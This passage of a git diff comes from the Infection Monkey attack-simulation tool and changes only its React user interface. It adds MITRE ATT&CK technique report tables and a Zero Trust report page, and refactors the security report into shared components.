+import ReactTable from "react-table";
+import {getUsageColumns} from "./Helpers";
+
+class T1129 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.dlls.length !== 0 ?
+          <ReactTable
+              columns={getUsageColumns()}
+              data={this.props.data.dlls}
+              showPagination={false}
+              defaultPageSize={this.props.data.dlls.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1129;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
index c34f436e2..641602dc5 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
@@ -1,7 +1,7 @@
 import React from 'react';
 import '../../../styles/Collapse.scss'
 import ReactTable from "react-table";
-import { renderMachineFromSystemData } from "./Helpers"
+import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
 
 
 class T1145 extends React.Component {
@@ -38,7 +38,7 @@ class T1145 extends React.Component {
       <div>
         <div>{this.props.data.message}</div>
         <br/>
-        {this.props.data.status === 'USED' ?
+        {this.props.data.status === ScanStatus.USED ?
           <ReactTable
               columns={T1145.getKeysInfoColumns()}
               data={this.props.data.ssh_info}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js
new file mode 100644
index 000000000..31be117a9
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js
@@ -0,0 +1,49 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+
+
+class T1188 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  static getHopColumns() {
+    return ([{
+      Header: "Communications through multi-hop proxies",
+      columns: [
+        {Header: 'From',
+          id: 'from',
+          accessor: x => renderMachineFromSystemData(x.from),
+          style: { 'whiteSpace': 'unset' }},
+        {Header: 'To',
+          id: 'to',
+          accessor: x => renderMachineFromSystemData(x.to),
+          style: { 'whiteSpace': 'unset' }},
+        {Header: 'Hops',
+          id: 'hops',
+          accessor: x => x.count,
+          style: { 'whiteSpace': 'unset' }},
+        ]
+    }])};
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.status === ScanStatus.USED ?
+          <ReactTable
+              columns={T1188.getHopColumns()}
+              data={this.props.data.hops}
+              showPagination={false}
+              defaultPageSize={this.props.data.hops.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1188;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
index 1b3daa86c..9b6266efa 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
@@ -12,22 +12,25 @@ class T1210 extends React.Component {
 
   static getScanColumns() {
     return ([{
+      Header: "Found services",
       columns: [
         {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
           style: { 'whiteSpace': 'unset' }, width: 200},
-        {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
-        {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }},
+        {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
+        {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100},
         {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
         ]
   }])}
 
   static getExploitColumns() {
     return ([{
+      Header: "Exploited services",
       columns: [
         {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
           style: { 'whiteSpace': 'unset' }, width: 200},
-        {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
-        {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }},
+        {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
+        {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' },
+        width: 170},
         {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
         ]
     }])};
@@ -54,7 +57,6 @@ class T1210 extends React.Component {
     return (
       <div>
         <br/>
-        <div>Found services: </div>
         <ReactTable
             columns={T1210.getScanColumns()}
             data={data}
@@ -68,7 +70,6 @@ class T1210 extends React.Component {
     return (
       <div>
         <br/>
-        <div>Exploited services: </div>
         <ReactTable
             columns={T1210.getExploitColumns()}
             data={data}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js
new file mode 100644
index 000000000..712512bcb
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js
@@ -0,0 +1,39 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1222 extends React.Component {
+
+  constructor(props) {
+    super(props);
+  }
+
+  static getCommandColumns() {
+    return ([{
+      Header: "Permission modification commands",
+      columns: [
+        {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
+        {Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }},
+        ]
+    }])};
+
+  render() {
+    return (
+      <div>
+        <div>{this.props.data.message}</div>
+        <br/>
+        {this.props.data.status === ScanStatus.USED ?
+          <ReactTable
+              columns={T1222.getCommandColumns()}
+              data={this.props.data.commands}
+              showPagination={false}
+              defaultPageSize={this.props.data.commands.length}
+          /> : ""}
+      </div>
+    );
+  }
+}
+
+export default T1222;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
index 44d5a9a2b..43dac797c 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
@@ -295,13 +295,12 @@ class ConfigurePageComponent extends AuthComponent {
     this.setState({PBAlinuxFile: [], PBAwinFile: []});
   }
 
-  onReadFile = (event) => {
+  setConfigOnImport = (event) => {
     try {
       this.setState({
         configuration: JSON.parse(event.target.result),
         lastAction: 'import_success'
       }, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))});
-      this.currentSection = 'basic';
       this.currentFormData = {};
     } catch(SyntaxError) {
       this.setState({lastAction: 'import_failure'});
@@ -335,7 +334,7 @@ class ConfigurePageComponent extends AuthComponent {
 
   importConfig = (event) => {
     let reader = new FileReader();
-    reader.onload = this.onReadFile;
+    reader.onload = this.setConfigOnImport;
     reader.readAsText(event.target.files[0]);
     event.target.value = null;
   };
@@ -494,9 +493,8 @@ class ConfigurePageComponent extends AuthComponent {
     } else if(this.state.selectedSection !== 'attack') {
       content = this.renderConfigContent(displayedSchema)
     }
-
     return (
-      <Col xs={12} lg={8}>
+      <Col xs={12} lg={10}>
         {this.renderAttackAlertModal()}
         <h1 className="page-title">Monkey Configuration</h1>
         {this.renderNav()}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
index 4d1f6d4dd..68ba84aa6 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
@@ -1,20 +1,27 @@
-import React from 'react';
+import React, {Fragment} from 'react';
 import {Button, Col} from 'react-bootstrap';
-import BreachedServers from 'components/report-components/BreachedServers';
-import ScannedServers from 'components/report-components/ScannedServers';
-import PostBreach from 'components/report-components/PostBreach';
+import BreachedServers from 'components/report-components/security/BreachedServers';
+import ScannedServers from 'components/report-components/security/ScannedServers';
+import PostBreach from 'components/report-components/security/PostBreach';
 import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
 import {edgeGroupToColor, options} from 'components/map/MapOptions';
-import StolenPasswords from 'components/report-components/StolenPasswords';
-import CollapsibleWellComponent from 'components/report-components/CollapsibleWell';
+import StolenPasswords from 'components/report-components/security/StolenPasswords';
+import CollapsibleWellComponent from 'components/report-components/security/CollapsibleWell';
 import {Line} from 'rc-progress';
 import AuthComponent from '../AuthComponent';
 import PassTheHashMapPageComponent from "./PassTheHashMapPage";
-import StrongUsers from "components/report-components/StrongUsers";
-import AttackReport from "components/report-components/AttackReport";
+import StrongUsers from "components/report-components/security/StrongUsers";
+import AttackReport from "components/report-components/security/AttackReport";
+import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader";
+import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning";
+import ReportLoader from "../report-components/common/ReportLoader";
+import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning";
+import SecurityIssuesGlance from "../report-components/common/SecurityIssuesGlance";
+import PrintReportButton from "../report-components/common/PrintReportButton";
+import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus";
 
 let guardicoreLogoImage = require('../../images/guardicore-logo.png');
-let monkeyLogoImage = require('../../images/monkey-icon.svg');
+
 
 class ReportPageComponent extends AuthComponent {
 
@@ -66,18 +73,11 @@ class ReportPageComponent extends AuthComponent {
 
   render() {
     let content;
-    if (Object.keys(this.state.report).length === 0) {
-      if (this.state.runStarted) {
-        content = (<h1>Generating Report...</h1>);
-      } else {
-        content =
-          <p className="alert alert-warning">
-            <i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
-            You have to run a monkey before generating a report!
-          </p>;
-      }
-    } else {
+
+    if (this.state.runStarted) {
       content = this.generateReportContent();
+    } else {
+      content = <MustRunMonkeyWarning/>;
     }
 
     return (
@@ -90,15 +90,15 @@ class ReportPageComponent extends AuthComponent {
     );
   }
 
+  stillLoadingDataFromServer() {
+    return Object.keys(this.state.report).length === 0;
+  }
+
   updateMonkeysRunning = () => {
     return this.authFetch('/api')
       .then(res => res.json())
       .then(res => {
-        // This check is used to prevent unnecessary re-rendering
-        this.setState({
-          allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']),
-          runStarted: res['completed_steps']['run_monkey']
-        });
+        this.setState(extractExecutionStatusFromServerResponse(res));
         return res;
       });
   };
@@ -117,7 +117,7 @@ class ReportPageComponent extends AuthComponent {
 
   getReportFromServer(res) {
     if (res['completed_steps']['run_monkey']) {
-      this.authFetch('/api/report')
+      this.authFetch('/api/report/security')
         .then(res => res.json())
         .then(res => {
           this.setState({
@@ -128,49 +128,36 @@ class ReportPageComponent extends AuthComponent {
   }
 
   generateReportContent() {
+    let content;
+
+    if (this.stillLoadingDataFromServer()) {
+      content = <ReportLoader loading={true}/>;
+    } else {
+      content =
+        <div>
+            {this.generateReportOverviewSection()}
+            {this.generateReportFindingsSection()}
+            {this.generateReportRecommendationsSection()}
+            {this.generateReportGlanceSection()}
+            {this.generateAttackSection()}
+            {this.generateReportFooter()}
+        </div>;
+    }
+
     return (
-      <div>
-        <div className="text-center no-print" style={{marginBottom: '20px'}}>
-          <Button bsSize="large" onClick={() => {
-            print();
-          }}><i className="glyphicon glyphicon-print"/> Print Report</Button>
+      <Fragment>
+        <div style={{marginBottom: '20px'}}>
+          <PrintReportButton onClick={() => {print();}} />
         </div>
         <div className="report-page">
-          {this.generateReportHeader()}
+          <ReportHeader report_type={ReportTypes.security}/>
           <hr/>
-          {this.generateReportOverviewSection()}
-          {this.generateReportFindingsSection()}
-          {this.generateReportRecommendationsSection()}
-          {this.generateReportGlanceSection()}
-          {this.generateAttackSection()}
-          {this.generateReportFooter()}
+          {content}
         </div>
-        <div className="text-center no-print" style={{marginTop: '20px'}}>
-          <Button bsSize="large" onClick={() => {
-            print();
-          }}><i className="glyphicon glyphicon-print"/> Print Report</Button>
+        <div style={{marginTop: '20px'}}>
+          <PrintReportButton onClick={() => {print();}} />
         </div>
-      </div>
-    );
-  }
-
-  generateReportHeader() {
-    return (
-      <div id="header" className="row justify-content-between">
-        <Col xs={8}>
-          <div>
-            <h1 style={{marginTop: '0px', marginBottom: '5px', color: '#666666', fontFamily: 'Alegreya'}}>Security Report</h1>
-            <h1 style={{marginTop: '0px', marginBottom: '0px', color: '#ffcc00', fontFamily: 'Alegreya'}}>Infection <b>Monkey</b></h1>
-          </div>
-        </Col>
-        <Col xs={4}>
-          <img src={monkeyLogoImage}
-               style={{
-                 float: 'right',
-                 width: '80px'
-               }}/>
-        </Col>
-      </div>
+      </Fragment>
     );
   }
 
@@ -180,27 +167,8 @@ class ReportPageComponent extends AuthComponent {
         <h2>
           Overview
         </h2>
-        {
-          this.state.report.glance.exploited.length > 0 ?
-            (<p className="alert alert-danger">
-              <i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
-              Critical security issues were detected!
-            </p>) :
-            (<p className="alert alert-success">
-              <i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>
-              No critical security issues were detected.
-            </p>)
-        }
-        {
-          this.state.allMonkeysAreDead ?
-            ''
-            :
-            (<p className="alert alert-warning">
-              <i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
-              Some monkeys are still running. To get the best report it's best to wait for all of them to finish
-              running.
-            </p>)
-        }
+        <SecurityIssuesGlance issuesFound={this.state.report.glance.exploited.length > 0}/>
+        <MonkeysStillAliveWarning allMonkeysAreDead={this.state.allMonkeysAreDead}/>
         {
           this.state.report.glance.exploited.length > 0 ?
             ''
@@ -665,22 +633,6 @@ class ReportPageComponent extends AuthComponent {
       );
   }
 
-  generateRdpIssue(issue) {
-    return (
-      <li>
-        Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password
-        that is not shared with other computers on the network.
-        <CollapsibleWellComponent>
-          The machine <span className="label label-primary">{issue.machine}</span> (<span
-          className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
-          className="label label-danger">RDP</span> attack.
-          <br/>
-          The Monkey authenticated over the RDP protocol with user <span
-          className="label label-success">{issue.username}</span> and its password.
-        </CollapsibleWellComponent>
-      </li>
-    );
-  }
 
   generateSambaCryIssue(issue) {
     return (
@@ -959,9 +911,6 @@ generateMSSQLIssue(issue) {
       case 'ssh_key':
         data = this.generateSshKeysIssue(issue);
         break;
-      case 'rdp':
-        data = this.generateRdpIssue(issue);
-        break;
       case 'sambacry':
         data = this.generateSambaCryIssue(issue);
         break;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js
new file mode 100755
index 000000000..a0b92d9bd
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js
@@ -0,0 +1,134 @@
+import React, {Fragment} from 'react';
+import {Col} from 'react-bootstrap';
+import AuthComponent from '../AuthComponent';
+import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader";
+import ReportLoader from "../report-components/common/ReportLoader";
+import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning";
+import PrintReportButton from "../report-components/common/PrintReportButton";
+import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus";
+import SummarySection from "../report-components/zerotrust/SummarySection";
+import FindingsSection from "../report-components/zerotrust/FindingsSection";
+import PrinciplesSection from "../report-components/zerotrust/PrinciplesSection";
+
+class ZeroTrustReportPageComponent extends AuthComponent {
+
+  constructor(props) {
+    super(props);
+
+    this.state = {
+      allMonkeysAreDead: false,
+      runStarted: true
+    };
+  }
+
+  componentDidMount() {
+    this.updatePageState();
+    const refreshInterval = setInterval(this.updatePageState, 8000);
+    this.setState(
+      {refreshDataIntervalHandler: refreshInterval}
+    )
+  }
+
+  componentWillUnmount() {
+    clearInterval(this.state.refreshDataIntervalHandler);
+  }
+
+  updateMonkeysRunning = () => {
+    return this.authFetch('/api')
+      .then(res => res.json())
+      .then(res => {
+        this.setState(extractExecutionStatusFromServerResponse(res));
+        return res;
+      });
+  };
+
+  updatePageState = () => {
+    this.updateMonkeysRunning().then(res => this.getZeroTrustReportFromServer(res));
+  };
+
+  render() {
+    let content;
+    if (this.state.runStarted) {
+      content = this.generateReportContent();
+    } else {
+      content = <MustRunMonkeyWarning/>;
+    }
+
+    return (
+      <Col xs={12} lg={10}>
+        <h1 className="page-title no-print">5. Zero Trust Report</h1>
+        <div style={{'fontSize': '1.2em'}}>
+          {content}
+        </div>
+      </Col>
+    );
+  }
+
+  generateReportContent() {
+    let content;
+
+    if (this.stillLoadingDataFromServer()) {
+      content = <ReportLoader loading={true}/>;
+    } else {
+      content = <div id="MainContentSection">
+        <SummarySection allMonkeysAreDead={this.state.allMonkeysAreDead} pillars={this.state.pillars}/>
+        <PrinciplesSection principles={this.state.principles}
+                           pillarsToStatuses={this.state.pillars.pillarsToStatuses}/>
+        <FindingsSection pillarsToStatuses={this.state.pillars.pillarsToStatuses} findings={this.state.findings}/>
+      </div>;
+    }
+
+    return (
+      <Fragment>
+        <div style={{marginBottom: '20px'}}>
+          <PrintReportButton onClick={() => {
+            print();
+          }}/>
+        </div>
+        <div className="report-page">
+          <ReportHeader report_type={ReportTypes.zeroTrust}/>
+          <hr/>
+          {content}
+        </div>
+        <div style={{marginTop: '20px'}}>
+          <PrintReportButton onClick={() => {
+            print();
+          }}/>
+        </div>
+      </Fragment>
+    )
+  }
+
+  stillLoadingDataFromServer() {
+    return typeof this.state.findings === "undefined"
+      || typeof this.state.pillars === "undefined"
+      || typeof this.state.principles === "undefined";
+  }
+
+  getZeroTrustReportFromServer() {
+    let res;
+    this.authFetch('/api/report/zero_trust/findings')
+      .then(res => res.json())
+      .then(res => {
+        this.setState({
+          findings: res
+        });
+      });
+    this.authFetch('/api/report/zero_trust/principles')
+      .then(res => res.json())
+      .then(res => {
+        this.setState({
+          principles: res
+        });
+      });
+    this.authFetch('/api/report/zero_trust/pillars')
+      .then(res => res.json())
+      .then(res => {
+        this.setState({
+          pillars: res
+        });
+      });
+  }
+}
+
+export default ZeroTrustReportPageComponent;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js
new file mode 100644
index 000000000..840e570d7
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js
@@ -0,0 +1,6 @@
+export function extractExecutionStatusFromServerResponse(res) {
+  return {
+    allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']),
+    runStarted: res['completed_steps']['run_monkey']
+  };
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js
new file mode 100644
index 000000000..7b72570fa
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js
@@ -0,0 +1,21 @@
+import React, {Component} from "react";
+import * as PropTypes from "prop-types";
+
+export default class MonkeysStillAliveWarning extends Component {
+  render() {
+    return <div>
+      {
+        this.props.allMonkeysAreDead ?
+          ''
+          :
+          (<p className="alert alert-warning">
+            <i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
+            Some monkeys are still running. To get the best report it's best to wait for all of them to finish
+            running.
+          </p>)
+      }
+    </div>
+  }
+}
+
+MonkeysStillAliveWarning.propTypes = {allMonkeysAreDead: PropTypes.bool};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js
new file mode 100644
index 000000000..f1d23e302
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js
@@ -0,0 +1,11 @@
+import React, {Component} from "react";
+import {NavLink} from "react-router-dom";
+
+export default class MustRunMonkeyWarning extends Component {
+  render() {
+    return <p className="alert alert-warning">
+      <i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
+      <b>You have to <NavLink to="/run-monkey">run a monkey</NavLink> before generating a report!</b>
+    </p>
+  }
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js
new file mode 100644
index 000000000..5bc6183fd
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js
@@ -0,0 +1,36 @@
+import React, {Component} from "react";
+import ReactTable from "react-table";
+import * as PropTypes from "prop-types";
+
+class PaginatedTable extends Component {
+  render() {
+    if (this.props.data.length > 0) {
+      let defaultPageSize = this.props.data.length > this.props.pageSize ? this.props.pageSize : this.props.data.length;
+      let showPagination = this.props.data.length > this.props.pageSize;
+
+      return (
+        <div>
+          <ReactTable
+            columns={this.props.columns}
+            data={this.props.data}
+            showPagination={showPagination}
+            defaultPageSize={defaultPageSize}
+          />
+        </div>
+      );
+    }
+    else {
+      return (
+        <div/>
+      );
+    }
+  }
+}
+
+export default PaginatedTable;
+
+PaginatedTable.propTypes = {
+  data: PropTypes.array,
+  columns: PropTypes.array,
+  pageSize: PropTypes.number,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js
new file mode 100644
index 000000000..1a692bd68
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js
@@ -0,0 +1,14 @@
+import React, {Component} from "react";
+import {Button} from "react-bootstrap";
+import * as PropTypes from "prop-types";
+
+export default class PrintReportButton extends Component {
+  render() {
+    return <div className="text-center no-print">
+      <Button bsSize="large" onClick={this.props.onClick}><i className="glyphicon glyphicon-print"/> Print
+        Report</Button>
+    </div>
+  }
+}
+
+PrintReportButton.propTypes = {onClick: PropTypes.func};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js
new file mode 100644
index 000000000..44d470f7e
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js
@@ -0,0 +1,45 @@
+import React, {Component} from "react";
+import {Col} from "react-bootstrap";
+import * as PropTypes from "prop-types";
+
+let monkeyLogoImage = require('../../../images/monkey-icon.svg');
+
+export const ReportTypes = {
+  zeroTrust: "Zero Trust",
+  security: "Security",
+  null: ""
+};
+
+export class ReportHeader extends Component {
+  report_type;
+
+  render() {
+    return <div id="header" className="row justify-content-between">
+      <Col xs={8}>
+        <div>
+          <h1 style={{marginTop: '0px', marginBottom: '5px', color: '#666666', fontFamily: 'Alegreya'}}>
+            {this.props.report_type} Report</h1>
+          <h1 style={{
+            marginTop: '0px',
+            marginBottom: '0px',
+            color: '#ffcc00',
+            fontFamily: 'Alegreya'
+          }}>Infection <b>Monkey</b></h1>
+        </div>
+      </Col>
+      <Col xs={4}>
+        <img src={monkeyLogoImage}
+             style={{
+               float: 'right',
+               width: '80px'
+             }}/>
+      </Col>
+    </div>
+  }
+}
+
+export default ReportHeader;
+
+ReportHeader.propTypes = {
+  report_type: PropTypes.string,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js
new file mode 100644
index 000000000..e389f7532
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js
@@ -0,0 +1,28 @@
+import {css} from "@emotion/core";
+import React, {Component} from "react";
+import {GridLoader} from "react-spinners";
+import * as PropTypes from "prop-types";
+
+const loading_css_override = css`
+    display: block;
+    margin-right: auto;
+    margin-left: auto;
+`;
+
+
+export default class ReportLoader extends Component {
+  render() {
+    return <div id="loading-report" className='sweet-loading'>
+      <h1>Generating Report...</h1>
+      <GridLoader
+        css={loading_css_override}
+        sizeUnit={"px"}
+        size={20}
+        color={'#ffcc00'}
+        loading={this.props.loading}
+      />
+    </div>
+  }
+}
+
+ReportLoader.propTypes = {loading: PropTypes.bool};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js
new file mode 100644
index 000000000..41a45edad
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js
@@ -0,0 +1,22 @@
+import React, {Component, Fragment} from "react";
+import * as PropTypes from "prop-types";
+
+export default class SecurityIssuesGlance extends Component {
+  render() {
+    return <Fragment>
+      {
+        this.props.issuesFound ?
+          (<p className="alert alert-danger">
+            <i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
+            Critical security issues were detected!
+          </p>) :
+          (<p className="alert alert-success">
+            <i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>
+            No critical security issues were detected.
+          </p>)
+      }
+    </Fragment>
+  }
+}
+
+SecurityIssuesGlance.propTypes = {issuesFound: PropTypes.bool};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
similarity index 69%
rename from monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
index 320181a20..13f9cd92e 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
@@ -2,19 +2,36 @@ import React from 'react';
 import {Col} from 'react-bootstrap';
 import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
 import {edgeGroupToColor, options} from 'components/map/MapOptions';
-import '../../styles/Collapse.scss';
-import AuthComponent from '../AuthComponent';
+import '../../../styles/Collapse.scss';
+import AuthComponent from '../../AuthComponent';
+import {ScanStatus} from "../../attack/techniques/Helpers";
 import Collapse from '@kunukn/react-collapse';
-import T1210 from '../attack/techniques/T1210';
-import T1197 from '../attack/techniques/T1197';
-import T1110 from '../attack/techniques/T1110';
-import T1075 from "../attack/techniques/T1075";
-import T1003 from "../attack/techniques/T1003";
-import T1059 from "../attack/techniques/T1059";
-import T1086 from "../attack/techniques/T1086";
-import T1082 from "../attack/techniques/T1082";
-import T1145 from "../attack/techniques/T1145";
-import T1065 from "../attack/techniques/T1065";
+
+import T1210 from '../../attack/techniques/T1210';
+import T1197 from '../../attack/techniques/T1197';
+import T1110 from '../../attack/techniques/T1110';
+import T1075 from "../../attack/techniques/T1075";
+import T1003 from "../../attack/techniques/T1003";
+import T1059 from "../../attack/techniques/T1059";
+import T1086 from "../../attack/techniques/T1086";
+import T1082 from "../../attack/techniques/T1082";
+import T1145 from "../../attack/techniques/T1145";
+import T1105 from "../../attack/techniques/T1105";
+import T1107 from "../../attack/techniques/T1107";
+import T1065 from "../../attack/techniques/T1065";
+import T1035 from "../../attack/techniques/T1035";
+import T1129 from "../../attack/techniques/T1129";
+import T1106 from "../../attack/techniques/T1106";
+import T1188 from "../../attack/techniques/T1188";
+import T1090 from "../../attack/techniques/T1090";
+import T1041 from "../../attack/techniques/T1041";
+import T1222 from "../../attack/techniques/T1222";
+import T1005 from "../../attack/techniques/T1005";
+import T1018 from "../../attack/techniques/T1018";
+import T1016 from "../../attack/techniques/T1016";
+import T1021 from "../../attack/techniques/T1021";
+import T1064 from "../../attack/techniques/T1064";
+import {extractExecutionStatusFromServerResponse} from "../common/ExecutionStatus";
 
 const tech_components = {
   'T1210': T1210,
@@ -26,7 +43,21 @@ const tech_components = {
   'T1086': T1086,
   'T1082': T1082,
   'T1145': T1145,
-  'T1065': T1065
+  'T1065': T1065,
+  'T1105': T1105,
+  'T1035': T1035,
+  'T1129': T1129,
+  'T1106': T1106,
+  'T1107': T1107,
+  'T1188': T1188,
+  'T1090': T1090,
+  'T1041': T1041,
+  'T1222': T1222,
+  'T1005': T1005,
+  'T1018': T1018,
+  'T1016': T1016,
+  'T1021': T1021,
+  'T1064': T1064
 };
 
 const classNames = require('classnames');
@@ -51,11 +82,7 @@ class AttackReportPageComponent extends AuthComponent {
     return this.authFetch('/api')
       .then(res => res.json())
       .then(res => {
-        // This check is used to prevent unnecessary re-rendering
-        this.setState({
-          allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']),
-          runStarted: res['completed_steps']['run_monkey']
-        });
+        this.setState(extractExecutionStatusFromServerResponse(res));
         return res;
       });
   };
@@ -77,9 +104,9 @@ class AttackReportPageComponent extends AuthComponent {
 
   getComponentClass(tech_id){
     switch (this.state.report[tech_id].status) {
-      case 'SCANNED':
+      case ScanStatus.SCANNED:
         return 'collapse-info';
-      case 'USED':
+      case ScanStatus.USED:
         return 'collapse-danger';
       default:
         return 'collapse-default';
@@ -143,7 +170,7 @@ class AttackReportPageComponent extends AuthComponent {
     return (
       <div>
         {this.renderLegend()}
-        <section className="app">{content}</section>
+        <section className="attack-report">{content}</section>
       </div>
     )
   }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js
similarity index 100%
